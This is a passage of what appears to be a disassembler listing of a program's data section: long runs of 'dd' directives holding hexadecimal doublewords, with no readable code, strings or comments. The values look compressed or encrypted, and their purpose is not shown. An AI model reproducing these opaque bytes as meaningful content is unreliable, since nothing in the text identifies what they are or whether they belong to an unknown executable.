166A78Eh, 0D0FC9A3h, 0B0647FF7h, 0C5ED2859h dd 5637604Ch, 0EB0A505Dh, 637C7E9Fh, 917CD345h, 0A9D1ADFAh dd 0EE77840Ch, 10886CA5h, 1106F11Fh, 12695778h, 2FF3FFA6h dd 128C7AB4h, 54356D1h, 2DDA7D8h, 1450CD7Ch, 0DAAE4860h dd 1C28C873h, 0FE16BC2Fh, 0B0B4C580h, 27E93A75h, 0E4FC905Ch dd 0BCD94C8Ch, 500B4811h, 61C230DCh, 2008E35Ch, 6CAE450Bh dd 0BB0800B1h, 0FB093EC6h, 789843D6h, 78803919h, 0DC22DAEh dd 5C75CC48h, 39DC0284h, 0B3E02C3h, 6E8E74D4h, 0C7350008h dd 377E210h, 11A228B9h, 3906537Ch, 0EA07E558h, 0FACA0078h dd 14155F2Ch, 81C05CDCh, 55B48D62h, 65931296h, 0DADCE0EEh dd 0B3E2B000h, 8F8D493Ch, 866610ECh, 790A00E9h, 53F2DFFFh dd 5B89285Ch, 0FE7D1078h, 4021B5Fh, 9CC18061h, 0CEEB017Fh dd 8B9F5DD3h, 0D849BA54h, 7781069Ch, 231D9DAh, 18B83D5Eh dd 2D03DEEBh, 805DE472h, 0C9C084DAh, 9509605Fh, 5261B177h dd 0C5F2320Ch, 8E189318h, 0B74A0053h, 0E158EB73h, 315A6CA6h dd 268C98h, 0B8BA02F4h, 0DD332404h, 0DA6F5A00h, 3A397EA7h dd 28149886h, 1ACC3BCDh, 502835D1h, 4CEC3983h, 547A685Ah dd 65135702h, 500A6EBAh, 0A8E951E4h, 965DB11Eh, 0E6C90025h dd 0C564E478h, 0DD051500h, 0D0994E88h, 0DAF80036h, 252B728Bh dd 79016F62h, 3CE209F0h dd 47E0D83h, 6019D048h, 0DEF590FEh, 9DD80071h, 0E8DEC906h dd 14941C54h, 566E88h, 8429A911h, 0C001279Ah, 931F58B8h dd 74EECA4Dh, 55CD21D6h, 422DC808h, 2117C0FBh, 0B448C220h dd 271F7E30h, 0C4582EBh, 5C60EDE4h, 0B1005E26h, 9FD28ED0h dd 0BAC99BFh, 6B439CE1h, 5B2F94A5h, 2AA091A8h, 0C5324248h dd 9F591126h, 0FC78004h, 3F9FD78h, 0F0078200h, 0E808A2D7h dd 567141Ah, 0F7000CEBh, 18E70689h, 2D30FD68h, 13EF08D8h dd 0F20E1D39h, 0F1003814h, 0F9077D1Bh, 0FF017B20h, 0FE7C1729h dd 288606E6h, 6182D7F1h, 0FC079907h, 0FD817A14h, 0EFE178D9h dd 0B02E39D0h, 0B7B13F0h, 0D35002Ah, 6C5EFE30h, 39D80F0Fh dd 1049442h, 0E71469E0h, 0CDF06806h, 26870623h, 0D1393735h dd 0F30A6519h, 19D00F80h, 18A0DB75h, 0A00A2AA3h, 8D80312h dd 0FA097D03h, 0FC01E015h, 38425113h, 308880B0h, 680805E7h dd 19F109h, 1336D83Fh, 9800FD14h, 8016E70Ah, 6D7D029h dd 0D52A5539h, 37004075h, 1EECFD81h, 0D62D9Ch, 27422ED7h dd 0DA655F14h, 37C0506h, 75E139D3h, 0E63D00CDh, 0FC325EFDh dd 2715781Ah, 173C23D7h, 0A31F13FEh, 0A203F383h, 3CB04328h dd 9713504h, 2E36C3F6h, 3A3C2042h, 0A3CCD1D6h, 0E0A43C18h dd 93E24D0Fh, 612100C9h, 5C300AF1h, 0C4A75A9Eh, 2A94C1BCh dd 2C1F6EBDh, 0E29724ECh, 1904340Dh, 4111A420h, 0DC026AC7h dd 9FE3D78h, 48B2DC54h, 0C8C01296h, 0B892B6B3h, 6B4C617h dd 28FBF820h, 2025B76Ch, 1D2C0B1Fh, 2EA034ACh, 2124B084h dd 5F16BD14h, 5C1F88E2h, 0E114A153h, 20585A2Ch, 0EF55A660h dd 0EB58A03h, 0AC32977Ch, 0D066CD10h, 2C05880Dh, 60997C89h dd 7028D1B6h, 59D049B0h, 5E0E0894h, 0E447109h, 0A8BCC011h dd 0D211872Bh, 1087D5ACh, 0A68BA8C4h, 38C1200Ch, 74B7A126h dd 0DB08F4A4h, 0D5FB84E9h, 815CD4ECh, 112749F8h, 207ADD5Ch dd 7B666540h, 4EA3DA80h, 73B8C182h, 7D7C34FBh, 9843C65Bh dd 5C3DCEBh, 5B6CA28h, 4A50C15Bh, 2A346347h, 2C4540DBh dd 3C28822Ah, 26187700h, 0C8859D95h, 15AC5E23h, 0A200246Dh dd 0E9587EDAh, 98A8ED87h, 704BCE7Fh, 244D7890h, 0B08597E0h dd 14B05E42h, 8D0140F4h, 0DEB91B7h, 46042381h, 11362144h dd 85DC522Bh, 8441FD87h, 2030AE77h, 81883028h, 3B6A48A8h dd 361B0441h, 2B182191h, 33C83E90h, 23324E64h, 48111C2Ah dd 48303F89h, 545ED41Bh, 327C388Bh, 2640227Fh, 4835E930h dd 0E0973C5Fh, 61897400h, 0E0C5E07Ch, 80F0FCA0h, 0DB278887h dd 0DFA60099h, 23811BC3h, 0DE008C32h, 1C177B15h, 74762E2h dd 7984EB90h, 0B64E18h, 0EF74DAE8h, 0C4004FB4h, 0D8D0213Fh dd 4A01778h, 66C240D1h, 0A1E4A493h, 2D80AC94h, 10511435h dd 0F90E00B1h, 0DB01265Bh, 911C3D32h, 8039288Bh, 0E060ECB3h dd 0F6D5E577h, 17D9E8B2h, 90011C89h, 0F75C2C58h, 3475AE00h dd 732F2822h, 7D8088FFh, 8BB8BD00h, 0E2C62933h, 0E1B700BCh dd 10FAFB78h, 8A4A887Bh, 1C2C8B4h, 8FF42664h, 2FDD4536h dd 31515470h, 449F00DAh, 1164C1E8h, 2F76F043h, 9BF98800h dd 2587B1Eh, 0AA78A873h, 0B06F0134h, 5637BE2Fh, 691EC454h dd 0A488B300h, 3499F1B2h, 4BD85FFBh, 0C0F28AFCh, 8235A1Dh dd 9239E100h, 0D40C1Ch, 0F05FB317h, 18E04C59h, 5D000E90h dd 0C16E3761h, 0F764F845h, 0B3A7D040h, 6089F2D6h, 0BCAC510Fh dd 5400014Eh, 9BBF168Fh, 17F5EAEBh, 82FF76D3h, 0EF134BB0h dd 0C3738C48h, 0C70156D1h, 220FD15Dh, 0A6E1AD5Fh, 19889F8h dd 0FB2ED482h, 2972C451h, 9AC0006Ch, 5C92A3BBh, 510C60E3h dd 89912ADCh, 440B134Bh, 0C0F78F65h, 87A7B7B5h, 0CBD800DAh dd 4B244F3Dh, 0F50382BEh, 0DD4AB91Fh, 34EFA078h, 3A4E006Ch dd 9B4D0159h, 7466F941h, 216308h, 713A45B7h, 55A49EF1h dd 38FE1600h, 7A5B36A9h, 0BB6A39F6h, 288C3E80h, 574DBFF8h dd 763C0400h, 0BC2A6BB9h, 5178C045h, 8C34FB8Ah, 62E7CFEh dd 0A50055DCh, 3B19E0EDh, 0CABA0076h, 3435A458h, 823A7D5Fh dd 920882FDh, 9C4470BFh, 16112320h, 5B02E700h, 74D7528Ch dd 14C8C040h, 0BA4EF5ABh, 0FB951003h, 0A394B8B1h, 7B21002Eh dd 0F8FFF5A3h, 78308987h, 4E5E1941h, 0A92C0F42h, 6D021E4Ch dd 8C81B594h, 0C054998Ch, 630603AEh, 0BB3C7821h, 21946F08h dd 3F004C2Eh, 3BE704CBh, 0E2984350h, 7B8A1884h, 99B46926h dd 0D2D8780Ch, 0EF6107Ah, 48E4629Ah, 0CC5DDA00h, 23F8B834h dd 0F0C9F519h, 40605760h, 59B903E0h, 0FAA0A535h, 8F001878h dd 784F3756h, 31B4D849h, 8B088170h, 0BC208035h, 8409376Eh dd 72F30496h, 9B223EF9h, 0B318810Ch, 30246875h, 70BA19BFh dd 18A99095h, 5337086Ah, 0B0706978h, 98370062h, 4740B54Fh dd 181852ECh, 0EF21ACBAh, 0AC4CE85Ah, 0F5B102E8h, 94C0BA48h dd 71101519h, 8900F5A9h, 9BB4CAC2h, 5F3719h, 0D6F91ADBh dd 9596679Ch, 3125D830h, 3DF5F01Fh, 0DF00EC24h, 12A815ADh dd 12A61BAh, 0B902E898h, 0C79EB25Dh, 3C8440A7h, 0E8F870D2h dd 8EC20E3Eh, 0FF2552A6h, 502C20F4h, 27CFB11h, 973EEB00h dd 0E6CD2777h, 0D99E647Ah, 0F5A46049h, 0B8BA2147h, 0F5BC74C0h dd 0FCFE004Ah, 8BD4FDC0h, 380D8534h, 0A9F63B7Ch, 0A879A3FCh dd 52290D4h, 27CC582h, 8A6400FBh, 0A45BF1FEh, 8E29756Fh dd 316B8923h, 0ACC04E70h, 22734603h, 46423892h, 0CFC83D00h dd 0F3AF4335h, 0B838C000h, 894C28E8h, 0A44A487Bh, 526C8EC0h dd 8409D045h, 32A3AF6h, 85A184h, 0BEAA1D51h, 0D90DAB6h dd 0C5F84C00h, 6206AD45h, 0DC7A024Ah, 0BB51D00Ah, 5CC858AAh dd 0E5008546h, 943538FDh, 2D3CE43Ch, 215201A3h, 8D79FE7Ch dd 0E4462311h, 410C36F0h, 19857A03h, 0C0F77BBFh, 104EBB51h dd 0C90F54Ch, 83303E00h, 794925B5h, 0A01A64DDh, 80476364h dd 8CBB03B1h, 70798D44h, 7E5000BFh, 110118C6h, 0C4018BB5h dd 0C2CF2956h, 0E050FFA3h, 73EFADh, 0B2B17647h, 7C906A9Dh dd 9F120804h, 0F4C9C07Fh, 3A5430D6h, 3D016B11h, 80B96D88h dd 9FFD3A4Bh, 339387h, 3FFE7016h, 0C1370314h, 0F18B4D13h dd 6CB9B400h, 0EEFF73Ah, 0B773265Ch, 497150A0h, 4C13A84Ah dd 0A04105F4h, 9561BE78h, 0FFDF440h, 818701FEh, 0B0F0EEB7h dd 16883050h, 1F258044h, 0A9A76586h, 9D1FC220h, 99102C30h dd 1872D15Ch, 0B811074Eh, 364DE9AAh, 8910B8E8h, 0EF00337Eh dd 30FD8AA7h, 39DF71C9h, 0A4700429h, 4F49C002h, 9B94B0A8h dd 579DD22h, 0F4E43BADh, 517081D0h, 0D9EC303Ah, 0EEB99301h dd 315C1934h, 0ED483CEFh, 84F25244h, 7E8328C8h, 3507953h dd 0DB3A5BACh, 217091h, 8278E6E8h, 79DF70B7h, 0A218A963h dd 0A139137Dh, 70C44188h, 868979FFh, 0F2E7CF18h, 0BEFE1839h dd 997C51A1h, 0DA24C700h, 19523ED0h, 5FBF38F6h, 409BC100h dd 0C0FEF982h, 10B0ACA4h, 8180324Ch, 9E8BF5A7h, 3372070h dd 892F3B87h, 202CCF7Ch, 501DF0EEh, 0F5D83D07h, 0F19E426h dd 9B288B61h, 4407049Dh, 0BF4C8023h, 0F0F57924h, 3509B137h dd 20A7162Fh, 785780F8h, 0C090986Dh, 5D4E7A08h, 981334A9h dd 605D3AFAh, 0F7994C2Bh, 0FBF0A4B8h, 44E0A420h, 4861A850h dd 0DA3C3F48h, 10CEF090h, 4F15B8C4h, 177BACB6h, 0DB227Bh dd 8364BE64h, 0F53024D2h dword_50112C dd 0C18C48A6h, 707A2E7Ch, 9844A084h, 75F77408h, 0C089AE4h dd 7C320704h, 70F16421h, 0B0A87FFDh, 0B8243733h, 3198D419h dd 7B584748h, 309B708Bh, 5C7115A2h, 4CBA776Fh, 0FF70244h dd 4FA9F15Ah, 3320BBE2h, 6AA0D866h, 0F67A77FDh, 0BD1D2AE0h dd 9C282919h, 1F7A3244h, 95FEC482h, 80199095h, 102D10CBh dd 0C1F61Ah, 825128A8h, 2F66744Bh, 0C17ADB30h, 12AE3C62h dd 21387B35h, 506B4E74h, 46A96FBCh, 0C8F5AA03h, 121D8CDh dd 0D0C78879h, 0F8FAF140h, 0B6305833h, 0C528B071h, 9041E6B8h dd 0A8DD442Ch, 485A370Eh, 325C8058h, 0E6E4393h, 0A479856Dh dd 23804012h, 3A5E3710h, 0DE40E30Eh, 0CD7C8F02h, 3BC499F0h dd 0DC58C84Ch, 78882894h, 5211D460h, 12832237h, 8B861EDh dd 0D4A0E10Ch, 0A8791324h, 60AC2820h, 0F60FC72h, 0E4BE8421h dd 28DCB86Dh, 0A0CEFFDh, 95A10D78h, 7C12B8D0h, 0A7948086h dd 0FC0B70CCh, 5442872Bh, 0B210092Ah, 0C414E888h, 0F0BCC26Ch dd 2C373082h, 0B184E413h, 2701DCD2h, 19F1E04Bh, 0FFFE60FEh dd 8D033200h, 9ABCBE4Ah, 298160A1h, 7604FDB9h, 0E937CC24h dd 0B2FEB102h, 4C044489h, 28426853h, 1CFD69F0h, 40A34787h dd 0FD2F104Ah, 34259C1h, 342568DAh, 18A470E8h, 6182F824h dd 0E0107B5h, 0F2C76B67h, 1C238438h, 4D80DE21h, 0FAB25748h dd 983451F7h, 9808F361h, 906A4119h, 0BDC4BF18h, 186722B4h dd 9F809929h, 4330B184h, 1103B8D8h, 0F089AA54h, 49AED068h dd 983A0EC0h, 66CABE82h, 0BB36082Ch, 6F06E3Eh, 0F44024EFh dd 0FE16073Bh, 30239B8h, 284C73C8h, 83457EC8h, 88240420h dd 0F0C32254h, 48E21AEh, 3BA41920h, 0BA5D0035h, 2630AD0Ah dd 0AC69E4h, 444B7A43h, 309B23Eh, 80CBEE7Ch, 0D345A764h dd 763C90B5h, 162201FCh, 0FF336104h, 14444E7h, 0F5A85028h dd 0F63181C7h, 9B99AE84h, 801808Eh, 6C870409h, 92E1C378h dd 378B1804h, 3D012B98h, 87D5BFh, 1C720A7h, 0EEB04979h dd 4863D18Eh, 0D6F8494h, 2E18030h, 0D4185838h, 3B22B410h dd 0A030017Ch, 31E21829h, 0FCC12CA1h, 3F3288F8h, 0CCC05706h dd 3ED900E8h, 2134F470h, 0C0C7B018h, 8D363AA4h, 0BA0A2228h dd 0A9115242h, 81E21B1h, 5691B804h, 5E7F4F00h, 6CB53520h dd 0B63F1A01h, 983C0769h, 72830987h, 0DA94F004h, 0E5FAE415h dd 44EC1B00h, 525A01EDh, 530E00E7h, 0EE46D74Dh, 3F004719h dd 36D0FC9Ch, 156C21Fh, 70D8629h, 0FCA7805Dh, 7D001344h dd 21C833EDh, 0FF8CF03h, 0D9F06897h, 95AC892Eh, 0EB600E19h dd 9EFF0640h, 0B0B80Dh, 2D67BC45h, 6E98A1E5h, 450C762Ch dd 8DEF8300h, 3F0A0E0h, 0B23F366Ah, 8C84942h, 0F2005355h dd 0CD685B0Eh, 4CC7F423h, 60007B7Ch, 0AEADEC80h, 96009AA6h dd 13EF9E0Fh, 479B70h, 0CE039887h, 1A683365h, 7DC74207h dd 0CDB0C5ECh, 90B4BEB1h, 0EBAE07A8h, 1E1AF402h, 0F14FE00h dd 1D00FB8Dh, 5E395F9h, 0D896E0h, 0E206CC8Ah, 0F009B0B5h dd 11B8BD00h, 2382A3D6h, 7189F6DBh, 0D5AA1413h, 3000A496h dd 942F8B14h, 0AB00EA83h, 0FC18F40Dh, 0A7CC335h, 2975FAE9h dd 470038ACh, 8BBD8328h, 0AC71DBCBh, 0D5089800h, 0DA2BC8AFh dd 20B001h, 0E209E770h, 77805B94h, 0BF272F00h, 0FB6285E0h dd 0BCC1009Ch, 0EA565E38h, 7D00C6D3h, 8D0F20Bh, 4A90E801h dd 0ABA80017h, 0FF0F19F7h, 730F6A7Bh, 0C030D814h, 8F0AFC1h dd 0D4EB0199h, 5EA653D1h, 5CE840C4h, 582DFE59h, 74978FDh dd 87775D86h, 0B9CBA0D7h, 0DD0CEA7Dh, 21DCFB53h, 5CAD18EBh dd 74024128h, 0A243D83Dh, 60FB3A0Ch, 70E4F880h, 0D5A77DFDh dd 0E867A301h, 0C8140CE5h, 0A8FE2980h, 0FFD3C4DBh, 0CE1FD0EAh dd 9540A9A1h, 6F8B353Ch, 0C93F009Bh, 311E6CEAh, 603272Dh dd 0FA10311h, 793880A2h, 0C5AF004Ch, 0C17472E8h, 470782F4h dd 4E5601E7h, 8010A167h, 0F1506EDh, 0F976A3DAh, 0EB966340h dd 39718A90h, 0AD092C70h, 8225C8BAh, 50A3E690h, 0F06F0758h dd 0C06ECFE2h, 0F97CD5DCh, 859CD100h, 81A8CDD3h, 0B3B600E8h dd 0A25EC6FEh, 5C002749h, 482355A4h, 1957AAh, 1264AD4Eh dd 0E25B655Eh, 0DFB6D30Eh, 0D2BDC3A3h, 0D8C8029h, 220528FDh dd 13A224A8h, 95E1E00Ch, 3A1DB5A0h, 9FBB80EDh, 7A40E00Ch dd 7F097583h, 0E89057h, 58D26A72h, 0F5A42430h, 0E4ED7C0Eh dd 0E24A610Ch, 93C04564h, 97B101CEh, 0FA6A8D90h, 3A003414h dd 0F3BE0E1Ch, 4006CD3h, 0B3F14926h, 0C4772846h, 38250494h dd 1FAA79Ch, 72B33B8h, 355C8B10h, 6A0092F2h, 6D90393Fh dd 7990428h, 0AD082CB7h, 22076044h, 200A9A8h, 4B08AFDh dd 919F6F9h, 17F50313h, 0D1A7D420h, 0D5500DF7h, 0BF220794h dd 72D42621h, 26330727h, 0E3E9A02Eh, 25016851h, 5370421h dd 2C2820E1h, 1484B00h, 9C5846ECh, 75075401h, 222FEDDDh dd 80058032h, 0C7B6F5BDh, 663050A9h, 2B00046Eh, 51B4D463h dd 36675Dh, 90F955CFh, 10E82E77h, 1938AEF6h, 6F428058h dd 95DBCCC3h, 3B2B3BA3h, 0A8F80C04h, 966680C4h, 0FA187E0Bh dd 6A90B6D9h, 0C7F01D1h, 4CB13A22h, 0CDFC6444h, 8851B900h dd 215C1933h, 84F30F86h, 0E0E0B8ABh, 9F48EA29h, 0DBBC25h dd 0B795BE1Ch, 1C41CCAh, 13D2DCC1h, 0BF3020A8h, 0AB009D9Fh dd 3BBA54BEh, 7C60EFB7h, 6CFB0030h, 66F5A92Ch, 0C20FA62Ah dd 8BFC2875h, 0A1490F61h, 0F6D425E2h, 0A6E5F4h, 0BD2EF90Ah dd 0F86FFDE7h, 0DC31EB24h, 9D55EA07h, 2441663h, 3A327D10h dd 7C48D862h, 0DD0E5AABh, 130E0F1Eh, 602F0000h, 3E3D86F0h dd 0C580AD22h, 192C3E2Bh, 26793C16h, 5D561302h, 4037EA53h dd 0C6BBD8h, 2ABD8DD0h, 0F77C1B99h, 0C3B1A707h, 5EC1CECDh dd 9180E1E6h, 74D26268h, 893BEBF2h, 0C5330B7Bh, 756680BBh dd 0F7BDA738h, 867420h, 2D23838Ah, 0FC56665Ch, 20447800h dd 7B3FB0E0h, 6D993C82h, 1B0A0D80h, 25BD8BD2h, 0DAAC3702h dd 41B9926Fh, 88FC5D1Ch, 11546A2Fh, 0A25F0372h, 6792188Dh dd 0C0BF6077h, 0A70400C8h, 16FEF362h, 0A6008225h, 97A97F0Ch dd 0E1D7EDh, 3A91BCB8h, 727910FAh, 0ABC50205h, 3C801F7Eh dd 759347E0h, 9DAD00A6h, 0F401185h, 0FCA0D10Ah, 0A0003B29h dd 0A2CEDEB7h, 2E3A76E6h, 0FB6343h, 0C9AB70E3h, 7D2C4890h dd 6E002875h, 1CE41419h, 8968CE24h, 73EEBFA0h, 310082B3h dd 20E33E92h, 0FEF8D5F1h, 401F00B2h, 857B45EDh, 0BC485A0Dh dd 50820058h, 4665512Eh, 6F4B393Ch, 6CB43906h, 54000925h dd 24E5B542h, 779449AAh, 9C4F0F10h, 8A80BD18h, 83BEB7E2h dd 0F6A7DD02h, 0C09A499Bh, 40A08CACh, 0B2008866h, 0A7BF8506h dd 5E9B0Ah, 0FEFABE22h, 0BC0C6265h, 0DE86B300h, 0AD72499Eh dd 0A4DC132Ch, 81A00077h, 0EE9CECF1h, 70004F72h, 0C21DB261h dd 0B03CFEA9h, 42BE5A98h, 3647D9B4h, 41806CE8h, 72423312h dd 3567B0D0h, 96B00039h, 1CA8BF99h, 0B130DD2Dh, 0E41D305Fh dd 23E00E6h, 0D4338D4Ch, 5B0062A8h, 282F897Bh, 452A360h dd 45DBDF24h, 0E378E4C1h, 3D2E500h, 8B74CDFEh, 942D00DEh dd 2792416Ch, 0E60013C2h, 4A7AA74Ch, 5607E0h, 0B8DB0CA5h dd 975AA108h, 0FA222CC0h, 4E5D75C9h, 1D80328h, 4BF19B95h dd 0BCC196B8h, 575AECC0h, 398496A2h, 3778E55Ch, 0A628D889h dd 0D44A1070h, 20A76C0Dh dd 1C7901E9h, 9C5E1400h, 9B048C35h, 0B4F9211Dh, 57A0A32Fh dd 0B0FBFBF7h, 9E279578h, 243180A8h, 8B6CFF03h, 589B6803h dd 1FBF4F7h, 96BA4D61h, 803E3D3Bh, 0B836BF31h, 72D81176h dd 0C313004Ch, 0DC27EEAFh, 7D07EDF0h, 0FDFAB782h, 62D8CC01h dd 0FF543986h, 77019824h, 10A8B327h, 26D09795h, 0CA312D3Bh dd 0FF5E9000h, 230CFD3Eh, 187AC343h, 2F7B308Ah, 7D127749h dd 65A3FE18h, 0C0A2F7F9h, 827CBA48h, 5E0B687Bh, 0C1840930h dd 0D0697098h, 1A05363Ah, 0A47C89C1h, 0A260DA58h, 7A4F3408h dd 9E28C5F4h, 0F278F58Fh, 0D98604B5h, 2510B7D5h, 508294A1h dd 90A10C21h, 40C6BFD8h, 40C8599Ch, 0A13EF900h, 8C36AD34h dd 7B213224h, 0D6104329h, 17588942h, 1A87C530h, 91B101B5h dd 0F8B08314h, 0FC5CF41Ch, 4D901001h, 6A050BFBh, 0F4A007CCh dd 0AC0F0081h, 0A5F97D1Ch, 0F6177B16h, 0D00225B2h, 0C112B1ABh dd 0A4E09230h, 0BB0100CDh, 5CA88423h, 2E002780h, 2A287A16h dd 0B853703h, 3649B1F2h, 0CE066C80h, 0A72AEE82h, 1F0B849Ah dd 8014FF59h, 86B8B754h, 4FC00C4h, 5D31A4ADh, 0B607F392h dd 7BDCA752h, 903C0159h, 0A1CE8B14h, 335BA5C0h, 0E10FC24h dd 2F9B9C76h, 902C2482h, 8DC0CC60h, 87E93E00h, 618FD5AEh dd 0B666001Bh, 8EB551AAh, 30C67D8h, 48D239C6h, 82E4B94Fh dd 0A1BAEA11h, 3967103h, 5949CEF1h, 7EF8FA39h, 33B87BDh dd 0FD6904A6h, 5F81BAC7h, 0B040CC18h, 0B066E860h, 9D590068h dd 0F4A21A26h, 0E60078A5h, 0A972C20Eh, 0EA3266CAh, 0B6B23735h dd 67FD2351h, 0A04FC81Fh, 0A4186840h, 0F0798DBCh, 0FC593E73h dd 297EA880h, 8602EEACh, 230F957Bh, 67C61A03h, 0B210FCCEh dd 99B86EF5h, 305A0048h, 0B4FE6142h, 33814E1Fh, 0FC765Dh dd 0EB368A71h, 1D8E1FA4h, 80F7DAC3h, 0C0D64F7Eh, 4B154EEEh dd 2BC7A70h, 0A5087B47h, 18854068h, 487D0045h, 0A4E3C4B5h dd 0C2007704h, 42F7F434h, 16639F50h, 5CAD66A2h, 753C0EB0h dd 8492A51Dh, 4ED254C0h, 2A5DA503h, 0F847C4FDh, 1FF6423h dd 0FC7120AFh, 307F1CB4h, 0D30925E2h, 413FD0DBh, 72C05F5Ch dd 865E02C0h, 896CC66Bh, 0E3758560h, 71D8DD0Fh, 0EEA363F8h dd 0B95097D3h, 0D45937h, 0DA5833C5h, 9D5E2947h, 0EE225402h dd 0E0D24B95h, 9B3DFF7h, 98DAEDEBh, 825CFCA0h, 3A243575h dd 504380D8h, 0AD5ED0F5h, 0D3CF1222h, 0DD4C808Dh, 4092A8C4h dd 0FF5CB40Ch, 79C61855h, 0E68E2571h, 83EAF802h, 0CFA7A040h dd 0E004624Eh, 0B746DE22h, 463F50B9h, 0F7368045h, 6655D4E5h dd 49C6Dh, 14D37D70h, 0B8002711h, 9A637372h, 0DA865Ch dd 0C2BC1EB4h, 0A1FAD942h, 0A841AD0Fh, 6B3B62C7h, 8AC440F1h dd 48B7951h, 5F5C589h, 80601487h, 0EF499C0Ch, 6E182CFFh dd 14A407CEh, 18A04975h, 6722B20Dh, 0D4AF022Eh, 14C30464h dd 0CDA8F886h, 1469EC87h, 0B452E2E6h, 240A1C00h, 645D4C16h dd 0F21E5B18h, 11DE82h, 398DF6D7h, 0F0159894h, 477D8A00h dd 7E48C037h, 803E03E9h, 0FF2D8C64h, 2734AC80h, 3C4B5Ch dd 876099Eh, 3BDCA6A3h, 0F787D7CAh, 83A2C3h, 1D0636D2h dd 0E6F6B917h, 0E98C2A04h, 1F5E38C0h, 0ABAEA70h, 8B4AB6C3h dd 68FB01BCh, 6025203Ch, 57038A5Eh, 643AC745h, 1AA0123Eh dd 0D830808Ch, 0DD12D3A1h, 0EE004AEBh, 81AC49F1h, 5C9E1DFFh dd 0FB74403Bh, 1C66630Fh, 0DEEF091Fh, 0DF823FC0h, 3C0E3BC1h dd 8A00658Eh, 0B8A9CB93h, 18001C7Ch, 1F0783D1h, 5899D0h dd 0CF02FED8h, 889D7B0Dh, 0C2293003h, 0C8C8902Fh, 3CA45F3Ah dd 430093C5h, 0B9AD9AE8h, 0D1F485B3h, 0FD598C00h, 9C3C3BDEh dd 244E00E9h, 3D2616B1h, 860FD719h, 0A08D7E77h, 3008B7B0h dd 7CF90FB4h, 196049EDh, 9BF064D4h, 0FAE0C119h, 0CCD4B518h dd 5FC0009Dh, 382E89D0h, 41035105h, 0A64CE5B9h, 0F8459A73h dd 0DAEF0464h, 817BC21Fh, 34058878h, 79290824h, 3F13D80Ah dd 0BB616C18h, 0A92450C2h, 0E8E74D62h, 19459A00h, 58CD0AE0h dd 41009DE0h, 0C54922Bh, 1E7ADE25h, 0C1126CA8h, 0D13617F9h dd 5D73D403h, 0B6D33Dh, 0E58E3947h, 0C09083DAh, 702CA599h dd 3C00AFDFh, 3BA9ED76h, 98E877h, 9FF03F9Bh, 13035430h dd 0FC1793Ch, 80C3D34Fh, 2CBDBB7h, 70D149BEh, 0C1BFCC01h dd 306A5CC0h, 0CA135E60h, 944267D9h, 40DF459Bh, 0BF6B1Ch dd 2DBA9592h, 708A7FECh, 0A142C400h, 11721596h, 0DDA70E9Eh dd 1DC18FF1h, 2091D7A4h, 4902E70h, 60962430h, 3F6E67F6h dd 36A8C541h, 3F87FA84h, 3881BB8Ah, 0C96C978Eh, 31E98174h dd 2763F0A8h, 0F161E730h, 1F182439h, 0F4BC08FCh, 1DA76701h dd 0E8D45C5Dh, 0DB7064DDh, 0DA66006Fh, 0C57379EEh, 2D0C6B55h dd 885FA5DDh, 0BD630382h, 41219F7h, 0F54582F7h, 2A9F1456h dd 948B2392h, 43D413B3h, 0A3709B6Dh, 48099FD6h, 3E9DF774h dd 9581BBFBh, 94E0BA53h, 3B99D0C0h, 5444304Ah, 0B0A4A1B1h dd 21031C02h, 98BDDB0h, 0C07A9CF9h, 0D8197802h, 0F07F8FEDh dd 0B0D606FCh, 21490D20h, 35D8210Fh, 53805FFBh, 64F96EC0h dd 0BF6D079Bh, 806A49BCh, 406847ABh, 7B784E00h, 0DEE5474h dd 7A5200D8h, 0ABBA7501h, 3B71AD21h, 0D74050A2h, 3417F46Bh dd 5C00E253h, 0D06F1ECCh, 7DFF0175h, 79F0E138h, 82A8287Bh dd 2022D7C1h, 0D1A8027Ch, 25F9C30Fh, 4BFA0ADh, 70AB8Eh dd 13E99434h, 165530FEh, 0DC4DF109h, 5E7006FAh, 74285840h dd 0B2009E58h, 0E5E08BA1h, 270F5763h, 85FE0493h, 0B84069DAh dd 32BD9637h, 3EFD000Ch, 8B9390E4h, 3B3C15DBh, 9DFA1E23h dd 0CAE8BE0Ah, 4DC1EF00h, 1F93A79h, 8F7C2F5h, 29BDFE4Fh dd 0A3AC13D8h, 0A7531020h, 0C8FE43h, 3BE91E01h, 0C05E6EF4h dd 3C190300h, 0F959993Ah, 88E33FAh, 838224E0h, 1D89ECA9h dd 520110D9h, 9BC13186h, 46FD8881h, 0DC7AFC78h, 33F4BE49h dd 5CF64341h, 0D8AD86DCh, 31C4139h, 940569Dh, 529E138Ah dd 50BA0363h, 29F7DE94h, 6DAA4097h, 0CC00C2FAh, 0DB206793h dd 1FB0860Ch, 0FA87C3Dh, 88E1AD97h, 0E4A66B31h, 0B9073C43h dd 0C79C56DEh, 0A4972720h, 0F47918CCh, 2883068h, 3D8FD807h dd 71BD5C46h, 0DC0497F2h, 0E3AA9801h, 0BEE1B937h, 823C1880h dd 639E6225h, 997F9F00h, 0C4A6FEDDh, 0B95D00D1h, 509AAD57h dd 27643A3Dh, 1621D329h, 107B12C2h, 0F7893268h, 0C3448F08h dd 2A22840Fh, 11EB4234h, 1321D130h, 42E2151Eh, 0CD8E110Fh dd 0DF082721h, 84039039h, 0CB4438F9h, 37F544AEh, 444F2748h dd 0DF08C43Fh, 2402A842h, 0E4EF235Bh, 6E47E348h, 3F0861C4h dd 90681C47h, 0FC119DF7h, 0E1087321h, 649B943Ch, 4428E428h dd 8A1D3797h, 0EE0EA09Bh, 0F4FDC084h, 0E406918Bh, 128E00F8h dd 8781FF02h, 850E07A0h, 8004C55Ah, 8F10C156h, 76530F20h dd 7A02574h, 0FB4622BAh, 3887C500h, 69BC2A1Dh, 0D0CB3D08h dd 929A3C00h, 0D91C5520h, 0BD23F400h, 38CD85FEh, 42CF01BBh dd 0CA790EB2h, 0AE64F882h, 0BC534A0Eh, 2B6EE00Dh, 0D4544Dh dd 32C22A85h, 1B8FF99Fh, 0CAE25118h, 36C0231h, 0B3D2B826h dd 41E89019h, 2A00F7A1h, 1DA2CE1Eh, 0E73B1285h, 3A463D4h dd 4BFC15BBh, 0AF82BB7h, 68924DF7h, 52FB91Ch, 2C282598h dd 5D043901h, 2A4C1400h, 8FCD4924h, 0CCB0E200h, 7106AA62h dd 224B073Bh, 70A23D96h dd 30747A34h, 6E88420Bh, 66780F2h, 95B13E3h, 95A99E33h dd 0B8B19C00h, 880015B6h, 0CE778FFBh, 77662E6h, 5AECC26h dd 7CE70036h, 4807C0E8h, 0AA130DA4h, 961CABB0h, 8906001Dh dd 5D2C6FD8h, 4200EA0Fh, 285ABF19h, 1376A66h, 0C7CDCA60h dd 302F34C5h, 